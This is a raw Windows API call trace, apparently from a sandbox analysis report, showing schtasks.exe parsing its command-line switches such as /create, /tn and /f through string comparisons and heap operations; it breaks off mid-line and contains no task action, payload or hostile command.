_memicmp (_Buf1=0x29c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.246] _vsnwprintf (in: _Buffer=0x29c380, _BufferCount=0x8, _Format="|%s|", _ArgList=0xdf6f8 | out: _Buffer="|query|") returned 7 [0057.246] _vsnwprintf (in: _Buffer=0x29c360, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdf6f8 | out: _Buffer="|f|") returned 3 [0057.246] lstrlenW (lpString="|query|") returned 7 [0057.246] lstrlenW (lpString="|f|") returned 3 [0057.246] StrStrIW (lpFirst="|query|", lpSrch="|f|") returned 0x0 [0057.246] SetLastError (dwErrCode=0x490) [0057.246] lstrlenW (lpString="change") returned 6 [0057.246] lstrlenW (lpString="change") returned 6 [0057.246] _memicmp (_Buf1=0x29c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.246] lstrlenW (lpString="f") returned 1 [0057.246] _memicmp (_Buf1=0x29c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.246] _vsnwprintf (in: _Buffer=0x29c380, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf6f8 | out: _Buffer="|change|") returned 8 [0057.246] _vsnwprintf (in: _Buffer=0x29c360, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdf6f8 | out: _Buffer="|f|") returned 3 [0057.246] lstrlenW (lpString="|change|") returned 8 [0057.246] lstrlenW (lpString="|f|") returned 3 [0057.246] StrStrIW (lpFirst="|change|", lpSrch="|f|") returned 0x0 [0057.246] SetLastError (dwErrCode=0x490) [0057.246] lstrlenW (lpString="run") returned 3 [0057.246] lstrlenW (lpString="run") returned 3 [0057.246] _memicmp (_Buf1=0x29c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.247] lstrlenW (lpString="f") returned 1 [0057.247] _memicmp (_Buf1=0x29c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.247] _vsnwprintf (in: _Buffer=0x29c380, _BufferCount=0x6, _Format="|%s|", _ArgList=0xdf6f8 | out: _Buffer="|run|") returned 5 [0057.247] _vsnwprintf (in: _Buffer=0x29c360, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdf6f8 | out: _Buffer="|f|") returned 3 [0057.247] lstrlenW (lpString="|run|") returned 5 [0057.247] lstrlenW (lpString="|f|") returned 3 [0057.247] StrStrIW (lpFirst="|run|", lpSrch="|f|") returned 0x0 [0057.247] SetLastError (dwErrCode=0x490) [0057.247] lstrlenW (lpString="end") returned 3 [0057.247] lstrlenW (lpString="end") returned 3 [0057.247] _memicmp (_Buf1=0x29c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.247] lstrlenW (lpString="f") returned 1 [0057.247] _memicmp (_Buf1=0x29c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.247] _vsnwprintf (in: _Buffer=0x29c380, _BufferCount=0x6, _Format="|%s|", _ArgList=0xdf6f8 | out: _Buffer="|end|") returned 5 [0057.247] _vsnwprintf (in: _Buffer=0x29c360, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdf6f8 | out: _Buffer="|f|") returned 3 [0057.247] lstrlenW (lpString="|end|") returned 5 [0057.247] lstrlenW (lpString="|f|") returned 3 [0057.247] StrStrIW (lpFirst="|end|", lpSrch="|f|") returned 0x0 [0057.247] SetLastError (dwErrCode=0x490) [0057.247] lstrlenW (lpString="showsid") returned 7 [0057.247] lstrlenW (lpString="showsid") returned 7 [0057.247] _memicmp (_Buf1=0x29c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.247] lstrlenW (lpString="f") returned 1 [0057.247] _memicmp (_Buf1=0x29c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.247] _vsnwprintf (in: _Buffer=0x29c380, _BufferCount=0xa, _Format="|%s|", _ArgList=0xdf6f8 | out: _Buffer="|showsid|") returned 9 [0057.247] _vsnwprintf (in: _Buffer=0x29c360, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdf6f8 | out: _Buffer="|f|") returned 3 [0057.247] lstrlenW (lpString="|showsid|") returned 9 [0057.247] lstrlenW (lpString="|f|") returned 3 [0057.247] StrStrIW (lpFirst="|showsid|", lpSrch="|f|") returned 0x0 [0057.247] SetLastError (dwErrCode=0x490) [0057.247] SetLastError (dwErrCode=0x490) [0057.248] SetLastError (dwErrCode=0x0) [0057.248] lstrlenW (lpString="/f") returned 2 [0057.248] StrChrIW (lpStart="/f", wMatch=0x3a) returned 0x0 [0057.248] SetLastError (dwErrCode=0x490) [0057.248] SetLastError (dwErrCode=0x0) [0057.248] lstrlenW (lpString="/f") returned 2 [0057.248] GetProcessHeap () returned 0x280000 [0057.248] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x6) returned 0x29def0 [0057.248] GetProcessHeap () returned 0x280000 [0057.248] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x20) returned 0x29ced0 [0057.248] SetLastError (dwErrCode=0x0) [0057.248] GetProcessHeap () returned 0x280000 [0057.248] GetProcessHeap () returned 0x280000 [0057.248] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x29c320) returned 1 [0057.248] GetProcessHeap () returned 0x280000 [0057.248] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x29c320) returned 0x8 [0057.248] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29c320 | out: hHeap=0x280000) returned 1 [0057.248] GetProcessHeap () returned 0x280000 [0057.248] GetProcessHeap () returned 0x280000 [0057.248] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x29cd50) returned 1 [0057.248] GetProcessHeap () returned 0x280000 [0057.248] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x29cd50) returned 0x20 [0057.249] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29cd50 | out: hHeap=0x280000) returned 1 [0057.249] GetProcessHeap () returned 0x280000 [0057.249] GetProcessHeap () returned 0x280000 [0057.249] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x29c3b0) returned 1 [0057.249] GetProcessHeap () returned 0x280000 [0057.249] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x29c3b0) returned 0xe [0057.249] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29c3b0 | out: hHeap=0x280000) returned 1 [0057.249] GetProcessHeap () returned 0x280000 [0057.249] GetProcessHeap () returned 0x280000 [0057.249] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x29cd80) returned 1 [0057.249] GetProcessHeap () returned 0x280000 [0057.249] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x29cd80) returned 0x20 [0057.249] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29cd80 | out: hHeap=0x280000) returned 1 [0057.249] GetProcessHeap () returned 0x280000 [0057.249] GetProcessHeap () returned 0x280000 [0057.250] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x29c3d0) returned 1 [0057.250] GetProcessHeap () returned 0x280000 [0057.250] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x29c3d0) returned 0x8 [0057.250] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29c3d0 | out: hHeap=0x280000) returned 1 [0057.250] GetProcessHeap () returned 0x280000 [0057.250] GetProcessHeap () returned 0x280000 [0057.250] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x29cdb0) returned 1 [0057.250] GetProcessHeap () returned 0x280000 [0057.250] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x29cdb0) returned 0x20 [0057.250] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29cdb0 | out: hHeap=0x280000) returned 1 [0057.250] GetProcessHeap () returned 0x280000 [0057.250] GetProcessHeap () returned 0x280000 [0057.250] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x29c3f0) returned 1 [0057.250] GetProcessHeap () returned 0x280000 [0057.250] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x29c3f0) returned 0xe [0057.250] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29c3f0 | out: hHeap=0x280000) returned 1 [0057.250] GetProcessHeap () returned 0x280000 [0057.250] GetProcessHeap () returned 0x280000 [0057.250] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x29cde0) returned 1 [0057.250] GetProcessHeap () returned 0x280000 [0057.251] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x29cde0) returned 0x20 [0057.251] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29cde0 | out: hHeap=0x280000) returned 1 [0057.251] GetProcessHeap () returned 0x280000 [0057.251] GetProcessHeap () returned 0x280000 [0057.251] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x29c410) returned 1 [0057.251] GetProcessHeap () returned 0x280000 [0057.251] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x29c410) returned 0x8 [0057.251] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29c410 | out: hHeap=0x280000) returned 1 [0057.251] GetProcessHeap () returned 0x280000 [0057.251] GetProcessHeap () returned 0x280000 [0057.251] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x29ce10) returned 1 [0057.251] GetProcessHeap () returned 0x280000 [0057.251] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x29ce10) returned 0x20 [0057.252] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29ce10 | out: hHeap=0x280000) returned 1 [0057.252] GetProcessHeap () returned 0x280000 [0057.252] GetProcessHeap () returned 0x280000 [0057.252] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x29c430) returned 1 [0057.252] GetProcessHeap () returned 0x280000 [0057.252] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x29c430) returned 0x4 [0057.252] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29c430 | out: hHeap=0x280000) returned 1 [0057.252] GetProcessHeap () returned 0x280000 [0057.252] GetProcessHeap () returned 0x280000 [0057.252] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x29ce40) returned 1 [0057.252] GetProcessHeap () returned 0x280000 [0057.252] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x29ce40) returned 0x20 [0057.252] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29ce40 | out: hHeap=0x280000) returned 1 [0057.252] GetProcessHeap () returned 0x280000 [0057.252] GetProcessHeap () returned 0x280000 [0057.252] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x29c450) returned 1 [0057.252] GetProcessHeap () returned 0x280000 [0057.253] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x29c450) returned 0x8 [0057.253] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29c450 | out: hHeap=0x280000) returned 1 [0057.253] GetProcessHeap () returned 0x280000 [0057.253] GetProcessHeap () returned 0x280000 [0057.253] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x29ce70) returned 1 [0057.253] GetProcessHeap () returned 0x280000 [0057.253] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x29ce70) returned 0x20 [0057.253] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29ce70 | out: hHeap=0x280000) returned 1 [0057.253] GetProcessHeap () returned 0x280000 [0057.253] GetProcessHeap () returned 0x280000 [0057.253] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x29de80) returned 1 [0057.253] GetProcessHeap () returned 0x280000 [0057.253] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x29de80) returned 0x66 [0057.254] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29de80 | out: hHeap=0x280000) returned 1 [0057.254] GetProcessHeap () returned 0x280000 [0057.254] GetProcessHeap () returned 0x280000 [0057.254] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x29cea0) returned 1 [0057.254] GetProcessHeap () returned 0x280000 [0057.254] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x29cea0) returned 0x20 [0057.254] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29cea0 | out: hHeap=0x280000) returned 1 [0057.254] GetProcessHeap () returned 0x280000 [0057.254] GetProcessHeap () returned 0x280000 [0057.254] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x29def0) returned 1 [0057.254] GetProcessHeap () returned 0x280000 [0057.254] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x29def0) returned 0x6 [0057.254] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29def0 | out: hHeap=0x280000) returned 1 [0057.254] GetProcessHeap () returned 0x280000 [0057.254] GetProcessHeap () returned 0x280000 [0057.254] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x29ced0) returned 1 [0057.254] GetProcessHeap () returned 0x280000 [0057.254] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x29ced0) returned 0x20 [0057.255] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29ced0 | out: hHeap=0x280000) returned 1 [0057.255] GetProcessHeap () returned 0x280000 [0057.255] GetProcessHeap () returned 0x280000 [0057.255] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x297fa0) returned 1 [0057.255] GetProcessHeap () returned 0x280000 [0057.255] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x297fa0) returned 0x18 [0057.255] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x297fa0 | out: hHeap=0x280000) returned 1 [0057.258] SetLastError (dwErrCode=0x0) [0057.258] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0057.258] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0057.258] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0057.258] VerifyVersionInfoW (in: lpVersionInformation=0xdc750, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0xdc750) returned 1 [0057.258] SetLastError (dwErrCode=0x0) [0057.258] lstrlenW (lpString="create") returned 6 [0057.258] StrChrIW (lpStart="create", wMatch=0x7c) returned 0x0 [0057.258] SetLastError (dwErrCode=0x490) [0057.258] SetLastError (dwErrCode=0x0) [0057.258] lstrlenW (lpString="create") returned 6 [0057.258] GetProcessHeap () returned 0x280000 [0057.258] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x20) returned 0x29ced0 [0057.258] GetProcessHeap () returned 0x280000 [0057.258] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x18) returned 0x29d660 [0057.258] _memicmp (_Buf1=0x29d660, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.258] GetProcessHeap () returned 0x280000 [0057.258] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x16) returned 0x29d680 [0057.258] SetLastError (dwErrCode=0x0) [0057.258] _memicmp (_Buf1=0x29bbb0, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.258] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x29bd50, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0057.259] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0057.259] GetProcessHeap () returned 0x280000 [0057.259] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x74e) returned 0x29de80 [0057.259] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x29de80 | out: lpData=0x29de80) returned 1 [0057.259] VerQueryValueW (in: pBlock=0x29de80, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0xdc838, puLen=0xdc8a0 | out: lplpBuffer=0xdc838*=0x29e21c, puLen=0xdc8a0) returned 1 [0057.259] _memicmp (_Buf1=0x29bbb0, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.259] _vsnwprintf (in: _Buffer=0x29bd50, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0xdc818 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0057.259] VerQueryValueW (in: pBlock=0x29de80, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0xdc8a8, puLen=0xdc898 | out: lplpBuffer=0xdc8a8*=0x29e048, puLen=0xdc898) returned 1 [0057.259] lstrlenW (lpString="schtasks.exe") returned 12 [0057.259] lstrlenW (lpString="schtasks.exe") returned 12 [0057.260] lstrlenW (lpString=".EXE") returned 4 [0057.260] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0057.260] lstrlenW (lpString="schtasks.exe") returned 12 [0057.260] lstrlenW (lpString=".EXE") returned 4 [0057.260] lstrlenW (lpString="schtasks") returned 8 [0057.260] lstrlenW (lpString="/create") returned 7 [0057.260] _memicmp (_Buf1=0x29bbb0, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.260] _vsnwprintf (in: _Buffer=0x29bd50, _BufferCount=0x19, _Format="%s %s", _ArgList=0xdc818 | out: _Buffer="schtasks /create") returned 16 [0057.260] _memicmp (_Buf1=0x29bbd0, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.260] GetProcessHeap () returned 0x280000 [0057.260] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x20) returned 0x29cea0 [0057.260] _memicmp (_Buf1=0x29bbf0, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.260] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x29d400, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0057.260] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0057.260] GetProcessHeap () returned 0x280000 [0057.260] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x30) returned 0x297c00 [0057.260] _vsnwprintf (in: _Buffer=0x29c150, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0xdc818 | out: _Buffer="Type \"SCHTASKS /CREATE /?\" for usage.") returned 37 [0057.260] GetProcessHeap () returned 0x280000 [0057.260] GetProcessHeap () returned 0x280000 [0057.261] HeapValidate (hHeap=0x280000, dwFlags=0x0, lpMem=0x29de80) returned 1 [0057.261] GetProcessHeap () returned 0x280000 [0057.261] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x29de80) returned 0x74e [0057.261] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x29de80 | out: hHeap=0x280000) returned 1 [0057.261] SetLastError (dwErrCode=0x0) [0057.261] GetThreadLocale () returned 0x409 [0057.261] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0057.261] lstrlenW (lpString="create") returned 6 [0057.261] GetThreadLocale () returned 0x409 [0057.261] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0057.261] lstrlenW (lpString="?") returned 1 [0057.261] GetThreadLocale () returned 0x409 [0057.261] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0057.261] lstrlenW (lpString="s") returned 1 [0057.261] GetThreadLocale () returned 0x409 [0057.261] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0057.261] lstrlenW (lpString="u") returned 1 [0057.261] GetThreadLocale () returned 0x409 [0057.261] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0057.262] lstrlenW (lpString="p") returned 1 [0057.262] GetThreadLocale () returned 0x409 [0057.262] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0057.262] lstrlenW (lpString="ru") returned 2 [0057.262] GetThreadLocale () returned 0x409 [0057.262] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0057.262] lstrlenW (lpString="rp") returned 2 [0057.262] GetThreadLocale () returned 0x409 [0057.262] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0057.262] lstrlenW (lpString="sc") returned 2 [0057.262] GetThreadLocale () returned 0x409 [0057.262] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0057.262] lstrlenW (lpString="mo") returned 2 [0057.262] GetThreadLocale () returned 0x409 [0057.262] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0057.262] lstrlenW (lpString="d") returned 1 [0057.262] GetThreadLocale () returned 0x409 [0057.262] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0057.262] lstrlenW (lpString="m") returned 1 [0057.262] GetThreadLocale () returned 0x409 [0057.262] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0057.262] lstrlenW (lpString="i") returned 1 [0057.262] GetThreadLocale () returned 0x409 [0057.262] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0057.262] lstrlenW (lpString="tn") returned 2 [0057.262] GetThreadLocale () returned 0x409 [0057.262] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0057.262] lstrlenW (lpString="tr") returned 2 [0057.262] GetThreadLocale () returned 0x409 [0057.262] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0057.263] lstrlenW (lpString="st") returned 2 [0057.263] GetThreadLocale () returned 0x409 [0057.263] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0057.263] lstrlenW (lpString="sd") returned 2 [0057.263] GetThreadLocale () returned 0x409 [0057.263] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0057.263] lstrlenW (lpString="ed") returned 2 [0057.263] GetThreadLocale () returned 0x409 [0057.263] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0057.263] lstrlenW (lpString="it") returned 2 [0057.263] GetThreadLocale () returned 0x409 [0057.263] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0057.263] lstrlenW (lpString="et") returned 2 [0057.263] GetThreadLocale () returned 0x409 [0057.263] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0057.263] lstrlenW (lpString="k") returned 1 [0057.263] GetThreadLocale () returned 0x409 [0057.263] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0057.263] lstrlenW (lpString="du") returned 2 [0057.263] GetThreadLocale () returned 0x409 [0057.263] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0057.263] lstrlenW (lpString="ri") returned 2 [0057.263] GetThreadLocale () returned 0x409 [0057.263] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0057.263] lstrlenW (lpString="z") returned 1 [0057.263] GetThreadLocale () returned 0x409 [0057.263] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0057.263] lstrlenW (lpString="f") returned 1 [0057.263] GetThreadLocale () returned 0x409 [0057.263] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0057.263] lstrlenW (lpString="v1") returned 2 [0057.264] GetThreadLocale () returned 0x409 [0057.264] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0057.264] lstrlenW (lpString="xml") returned 3 [0057.264] GetThreadLocale () returned 0x409 [0057.264] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0057.264] lstrlenW (lpString="ec") returned 2 [0057.264] GetThreadLocale () returned 0x409 [0057.264] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0057.264] lstrlenW (lpString="rl") returned 2 [0057.264] GetThreadLocale () returned 0x409 [0057.264] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0057.264] lstrlenW (lpString="delay") returned 5 [0057.264] GetThreadLocale () returned 0x409 [0057.264] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0057.264] lstrlenW (lpString="np") returned 2 [0057.264] SetLastError (dwErrCode=0x0) [0057.264] SetLastError (dwErrCode=0x0) [0057.264] lstrlenW (lpString="/create") returned 7 [0057.264] lstrlenW (lpString="-/") returned 2 [0057.264] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0057.264] lstrlenW (lpString="create") returned 6 [0057.264] lstrlenW (lpString="create") returned 6 [0057.264] _memicmp (_Buf1=0x29c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.264] lstrlenW (lpString="create") returned 6 [0057.264] _memicmp (_Buf1=0x29c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.264] _vsnwprintf (in: _Buffer=0x29c380, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdc828 | out: _Buffer="|create|") returned 8 [0057.264] _vsnwprintf (in: _Buffer=0x29c360, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdc828 | out: _Buffer="|create|") returned 8 [0057.264] lstrlenW (lpString="|create|") returned 8 [0057.264] lstrlenW (lpString="|create|") returned 8 [0057.265] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0057.265] SetLastError (dwErrCode=0x0) [0057.265] SetLastError (dwErrCode=0x0) [0057.265] SetLastError (dwErrCode=0x0) [0057.265] lstrlenW (lpString="/tn") returned 3 [0057.265] lstrlenW (lpString="-/") returned 2 [0057.265] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0057.265] lstrlenW (lpString="create") returned 6 [0057.265] lstrlenW (lpString="create") returned 6 [0057.265] _memicmp (_Buf1=0x29c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.265] lstrlenW (lpString="tn") returned 2 [0057.265] _memicmp (_Buf1=0x29c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.265] _vsnwprintf (in: _Buffer=0x29c380, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdc828 | out: _Buffer="|create|") returned 8 [0057.265] _vsnwprintf (in: _Buffer=0x29c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc828 | out: _Buffer="|tn|") returned 4 [0057.265] lstrlenW (lpString="|create|") returned 8 [0057.265] lstrlenW (lpString="|tn|") returned 4 [0057.265] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0057.265] SetLastError (dwErrCode=0x490) [0057.265] lstrlenW (lpString="?") returned 1 [0057.265] lstrlenW (lpString="?") returned 1 [0057.265] _memicmp (_Buf1=0x29c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.265] lstrlenW (lpString="tn") returned 2 [0057.265] _memicmp (_Buf1=0x29c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.265] _vsnwprintf (in: _Buffer=0x29c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc828 | out: _Buffer="|?|") returned 3 [0057.265] _vsnwprintf (in: _Buffer=0x29c360, _BufferCount=0x5, _Format="|%s|", 